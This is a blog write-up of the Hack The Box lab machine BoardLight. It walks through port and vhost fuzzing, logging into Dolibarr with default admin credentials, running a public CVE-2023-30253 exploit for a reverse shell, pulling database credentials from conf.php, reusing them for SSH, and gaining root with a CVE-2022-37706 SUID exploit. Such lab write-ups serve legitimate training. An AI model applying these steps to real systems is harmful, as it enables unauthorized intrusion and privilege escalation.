HTB - BoardLight Writeup

Liam Geyer
  2024-09-10 2024-09-10 Created   2024-12-27 22:33:29 2024-12-27 22:33:29 Updated    

👾 Machine Overview

This is a writeup of the machine BoardLight from HTB , it’s an easy difficulty Linux machine which featured web enumeration, credential hunting, and exploiting a misconfigured SUID binary.

🔍 Enumeration

An initial nmap scan of the host gave the following results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sudo nmap -sV -sC -Pn 10.10.11.11  
Starting Nmap 7.80 ( https://nmap.org ) at 2024-09-10 09:08 EDT  
Nmap scan report for 10.10.11.11  
Host is up (0.033s latency).  
Not shown: 998 closed ports  
PORT   STATE SERVICE VERSION  
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)  
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))  
|_http-server-header: Apache/2.4.41 (Ubuntu)  
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 10.64 seconds

There’s only web and SSH, so I started by checking out the site.

🌐 Web

Main Site

The site isn’t super interesting, there’s a contact form we can play with but it doesn’t seem to do anything meaningful.

On the about page I noticed the WordPress logo, but after doing some digging this doesn’t seem to be a WordPress instance.

WordPress Logo on About

I decided to fuzz for directories, the only thing that stood out to me was /server-status

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
ffuf -w ~/GitHub/SecLists/Discovery/Web-Content/big.txt -u http://10.10.11.11/FUZZ  
  
       /'___\  /'___\           /'___\          
      /\ \__/ /\ \__/  __  __  /\ \__/          
      \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\         
       \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/         
        \ \_\   \ \_\  \ \____/  \ \_\          
         \/_/    \/_/   \/___/    \/_/          
  
      v1.1.0  
________________________________________________  
  
:: Method           : GET  
:: URL              : http://10.10.11.11/FUZZ  
:: Wordlist         : FUZZ: /home/lfgberg/GitHub/SecLists/Discovery/Web-Content/big.txt  
:: Follow redirects : false  
:: Calibration      : false  
:: Timeout          : 10  
:: Threads          : 40  
:: Matcher          : Response status: 200,204,301,302,307,401,403  
________________________________________________  
  
.htpasswd               [Status: 403, Size: 276, Words: 20, Lines: 10]  
.htaccess               [Status: 403, Size: 276, Words: 20, Lines: 10]  
css                     [Status: 301, Size: 308, Words: 20, Lines: 10]  
images                  [Status: 301, Size: 311, Words: 20, Lines: 10]  
js                      [Status: 301, Size: 307, Words: 20, Lines: 10]  
server-status           [Status: 403, Size: 276, Words: 20, Lines: 10]  
:: Progress: [20476/20476] :: Job [1/1] :: 660 req/sec :: Duration: [0:00:31] :: Errors: 0 ::

The status page did have the server version there (Apache 2.4.41), but that didn’t lead me anywhere.

Server Status Page

I saw the hostname board.htb referenced in the website footer, so I added that to my /etc/hosts file.

Hostname

With the hostname I started fuzzing for vhosts using ffuf.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ffuf -w ~/GitHub/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://board.htb -H "Host: FUZZ.board.htb" -fw 6243  
  
       /'___\  /'___\           /'___\          
      /\ \__/ /\ \__/  __  __  /\ \__/          
      \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\         
       \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/         
        \ \_\   \ \_\  \ \____/  \ \_\          
         \/_/    \/_/   \/___/    \/_/          
  
      v1.1.0  
________________________________________________  
  
:: Method           : GET  
:: URL              : http://board.htb  
:: Wordlist         : FUZZ: /home/lfgberg/GitHub/SecLists/Discovery/DNS/subdomains-top1million-5000.txt  
:: Header           : Host: FUZZ.board.htb  
:: Follow redirects : false  
:: Calibration      : false  
:: Timeout          : 10  
:: Threads          : 40  
:: Matcher          : Response status: 200,204,301,302,307,401,403  
:: Filter           : Response words: 6243  
________________________________________________  
  
crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150]  
:: Progress: [4989/4989] :: Job [1/1] :: 831 req/sec :: Duration: [0:00:06] :: Errors: 0 ::

This found the cms subdomain which I added to /etc/hosts and started to investigate.

🤡 Dolibarr

cms hosted an instance of the Dolibarr CRM, and we can see that it’s running version 17.0.0.

Dolibarr Version

Digging around online I found this POC for CVE-2023-30253, which is authenticated RCE.

We need a login, looking online the default username for Dolibarr is admin, so I tried admin:admin as a login, which worked!

Dolibarr Panel

This got me into the CRM, but there’s not much interesting here, I pivoted back to the CVE and tried to pop a shell.

1
2
3
4
5
6
7
python3 exploit.py http://crm.board.htb admin admin 10.10.14.22 6969  
[*] Trying authentication...  
[**] Login: admin  
[**] Password: admin  
[*] Trying created site...  
[*] Trying created page...  
[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection

It worked, and popped a shell as www-data.

🥈 User

As www-data I started digging into the two webapps, and found some interesting config files in ~/html/crm.board.htb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
www-data@boardlight:~/html/crm.board.htb$ ls -laR | grep config  
ls -laR | grep config  
-rw-r--r-- 1 www-data www-data  9173 Mar  4  2023 config.inc.php  
-rw-r--r--  1 www-data www-data    246 Mar  4  2023 bender-runner.config.json  
-rw-r--r--  1 www-data www-data   3585 Mar  4  2023 build-config.js  
-rw-r--r--  1 www-data www-data    336 Mar  4  2023 config.js  
-rw-r--r-- 1 www-data www-data  667 Mar  4  2023 configfilename.html  
-rw-r--r-- 1 www-data www-data 1221 Mar  4  2023 configfilename.md  
-rw-r--r--  1 www-data www-data   280 Mar  4  2023 config  
-rw-r--r--  1 www-data www-data   239 Mar  4  2023 config  
-rw-r--r--  1 www-data www-data   247 Mar  4  2023 config  
-rw-r--r--  1 www-data www-data   237 Mar  4  2023 config  
-rw-r--r-- 1 www-data www-data   71 Mar  4  2023 config  
-rw-r--r--  1 www-data www-data   322 Mar  4  2023 config  
-rw-r--r--  1 www-data www-data   293 Mar  4  2023 config  
-rw-r--r--  1 www-data www-data   238 Mar  4  2023 config  
-rw-r--r--  1 www-data www-data   252 Mar  4  2023 config  
-rw-r--r--  1 www-data www-data   238 Mar  4  2023 config  
-rw-r--r--  1 www-data www-data   241 Mar  4  2023 config  
-rw-r--r--  1 www-data www-data   235 Mar  4  2023 config  
-rw-r--r--  1 www-data www-data   241 Mar  4  2023 config  
-rw-r--r--  1 www-data www-data   237 Mar  4  2023 config  
-rw-r--r-- 1 www-data www-data   236 Mar  4  2023 config  
-rw-r--r--  1 www-data www-data   263 Mar  4  2023 config  
-rw-r--r--  1 www-data www-data   263 Mar  4  2023 config  
-rw-r--r--  1 www-data www-data   239 Mar  4  2023 config  
-rw-r--r-- 1 www-data www-data  7474 Mar  4  2023 swiftmailer_generate_mimes_config.php  
drwxr-xr-x 2 www-data www-data   4096 Mar  4  2023 config  
-rw-r--r-- 1 www-data www-data   7155 Mar  4  2023 tcpdf_autoconfig.php  
./htdocs/includes/tecnickcom/tcpdf/config:  
-rw-r--r-- 1 www-data www-data 5371 Mar  4  2023 tcpdf_config.php  
drwxr-xr-x 2 www-data www-data  4096 Mar  4  2023 config  
./htdocs/includes/webklex/php-imap/src/config:  
-rw-r--r-- 1 www-data www-data      74 Mar  4  2023 llx_holiday_config.sql  
-rw-r--r-- 1 www-data www-data   948 Mar  4  2023 llx_holiday_config.key.sql  
-rw-r--r-- 1 www-data www-data  1030 Mar  4  2023 llx_holiday_config.sql  
-rw-r--r--  1 www-data www-data  2326 Mar  4  2023 config.php  
-rw-r--r-- 1 www-data www-data 4775 Mar  4  2023 config.js  
-rw-r--r-- 1 www-data www-data 4770 Mar  4  2023 config.js

Eventually I found some creds in ~/html/crm.board.htb/htdocs/conf/conf.php for a local SQL instance.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat conf.php  
cat conf.php  
<?php  
//  
// File generated by Dolibarr installer 17.0.0 on May 13, 2024  
//  
// Take a look at conf.php.example file for an example of conf.php file  
// and explanations for all possibles parameters.  
//  
$dolibarr_main_url_root='http://crm.board.htb';  
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';  
$dolibarr_main_url_root_alt='/custom';  
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';  
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';  
$dolibarr_main_db_host='localhost';  
$dolibarr_main_db_port='3306';  
$dolibarr_main_db_name='dolibarr';  
$dolibarr_main_db_prefix='llx_';  
$dolibarr_main_db_user='dolibarrowner';  
$dolibarr_main_db_pass='[REDACTED]';  
$dolibarr_main_db_type='mysqli';  
$dolibarr_main_db_character_set='utf8';  
$dolibarr_main_db_collation='utf8_unicode_ci';  
// Authentication settings  
$dolibarr_main_authentication='dolibarr';  
[Removed for Brevity]

This got us the SQL login for dolibarr. Checking on the machine larissa and root are the only users we can login as.

1
2
3
4
www-data@boardlight:/home$ cat /etc/passwd | grep /bin/bash  
cat /etc/passwd | grep /bin/bash  
root:x:0:0:root:/root:/bin/bash  
larissa:x:1000:1000:larissa,,,:/home/larissa:/bin/bash

I decided to try the credentials on larissa which worked! I switched to SSH and grabbed the flag.

Grabbing the Flag

🥇 Root

Now as larissa, I started by running LinPEAS, it flagged some SUID binaries which stuck out to me.

I NEED TO PEA

Enlightenment is apparently a window manager, but Googling Enlightenment SUID helped me find this exploit

This took me a couple tries to get it to work right, but eventually I was able to use this to grab root on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
larissa@boardlight:~$ ./exploit.sh            
CVE-2022-37706  
[*] Trying to find the vulnerable SUID file...  
[*] This may take few seconds...  
[+] Vulnerable SUID binary found!  
[+] Trying to pop a root shell!  
[+] Enjoy the root shell :)  
mount: /dev/../tmp/: can't find in /etc/fstab.  
# whoami  
root  
# cat /root/root.txt  
[REDACTED]

📖 Resources

🔗 Hyperlink ℹ️ Info
nikn0laty’s GitHub Dolibarr POC
GitHub Linux PrivEsc Script
ExploitDB Enlightenment SUID Exploit
  • Title: HTB - BoardLight Writeup
  • Author: Liam Geyer
  • Created at : 2024-09-10 00:00:00
  • Updated at : 2024-12-27 22:33:29
  • Link: https://lfgberg.org/2024/09/10/htb/boardlight/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
HTB - BoardLight Writeup
  1. 👾 Machine Overview
  2. 🔍 Enumeration
  3. 🌐 Web
    1. 🤡 Dolibarr
  4. 🥈 User
  5. 🥇 Root
  6. 📖 Resources